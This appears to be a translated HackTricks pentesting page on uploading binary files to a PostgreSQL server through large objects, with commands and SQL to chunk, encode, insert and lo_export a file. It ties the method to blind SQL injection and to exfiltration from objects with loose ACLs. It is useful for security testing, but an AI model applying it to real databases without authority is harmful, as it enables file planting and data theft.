Big Binary Files Upload (PostgreSQL)

支持 HackTricks

PostgreSQL 大对象

PostgreSQL 提供了一种称为 大对象 的结构,通过 pg_largeobject 表访问,旨在存储大数据类型,如图像或 PDF 文档。这种方法相较于 COPY TO 函数具有优势,因为它能够 将数据导出回文件系统,确保原始文件的精确副本得以保留。

要在此表中 存储完整文件,必须在 pg_largeobject 表中创建一个对象(通过 LOID 识别),然后将每个 2KB 大小的数据块插入到该对象中。确保这些块的大小恰好为 2KB(最后一个块可能例外)是至关重要的,以确保导出功能正常运行。

将二进制数据 分割为 2KB 块,可以执行以下命令:

split -b 2048 your_file # Creates 2KB sized files

对于将每个文件编码为 Base64 或 Hex,可以使用以下命令:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

重要:在自动化此过程时,请确保发送2KB的明文字节块。由于大小翻倍,十六进制编码的文件每个块将需要4KB的数据,而Base64编码的文件遵循公式ceil(n / 3) * 4

可以使用以下命令查看大对象的内容以进行调试:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

使用 lo_creat 和 Base64

要存储二进制数据,首先创建一个 LOID:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

在需要精确控制的情况下,例如利用盲SQL注入,lo_create更适合用于指定固定的LOID。

数据块可以如下插入:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

要导出并在使用后可能删除大对象:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

使用 lo_import 和十六进制

lo_import 函数可以用于创建和指定大型对象的 LOID:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

在对象创建后,数据按页面插入,确保每个块不超过2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

为了完成这个过程,数据被导出并且大对象被删除:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

限制

需要注意的是,大对象可能具有 ACLs(访问控制列表),这可能会限制对即使是由您的用户创建的对象的访问。然而,具有宽松 ACLs 的旧对象可能仍然可以访问以进行内容外泄。

Support HackTricks

Last updated